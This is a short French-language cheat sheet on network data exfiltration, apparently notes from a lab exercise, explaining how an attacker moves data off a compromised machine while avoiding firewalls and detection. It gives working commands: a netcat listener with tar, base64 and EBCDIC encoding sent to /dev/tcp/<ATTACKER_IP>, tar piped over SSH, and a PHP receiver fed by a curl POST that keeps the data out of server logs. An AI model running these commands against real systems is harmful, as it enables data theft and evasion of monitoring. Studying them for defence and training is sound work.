Skip to main content

[Réseau] Data exfiltration

Introduction

Après avoir compromis un système et élevé ses privilèges, un pirate va avoir tendance à exfiltrer des données sensibles.

Cependant, il ne doit pas se faire détecter par les systèmes de sécurité et contourner les potentiels pare-feux.

Techniques

Netcat

Un simple flux TCP peut suffire dans certains cas. Vous pouvez alors lancer un listener sur la machine de l'attaquant :

nc -lvp <PORT> > <OUTPUT>

Et depuis la machine victime :

tar zcf - <DIR> | base64 | dd conv=ebcdic > /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>

Le fichier sera compressé, encodé en base64 et en EBCDIC par DD avant d'être envoyé, ce qui rend le trafic illisible sur le réseau.

Une fois la donnée récupérée, on peut la décoder et la décompressée :

dd conv=ascii if=<FILE> |base64 -d > <ARCHIVE>.tar
tar xvf <ARCHIVE>

SSH (sans SCP)

tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"

HTTP POST

Monter un serveur web php qui va recevoir les données en base64 et les enregistrer dans un fichier :

<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
   }
?>

Depuis la machine victime, on peut maintenant exfiltrer les données de la sorte :

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php

À cause de l'encodage URL, les + sont remplacés par des espaces, on peut résoudre le problème :

sudo sed -i 's/ /+/g' /tmp/http.bs64

Puis on peut décoder et extraire le fichier :

cat /tmp/http.bs64 | base64 -d | tar xvfz -

L'avantage par rapport à la méthode GET est que la donnée en base64 ne sera pas enregistrée dans les logs du serveur web.

On peut aussi utiliser un serveur web en HTTPS pour que le trafic soit complètement chiffré.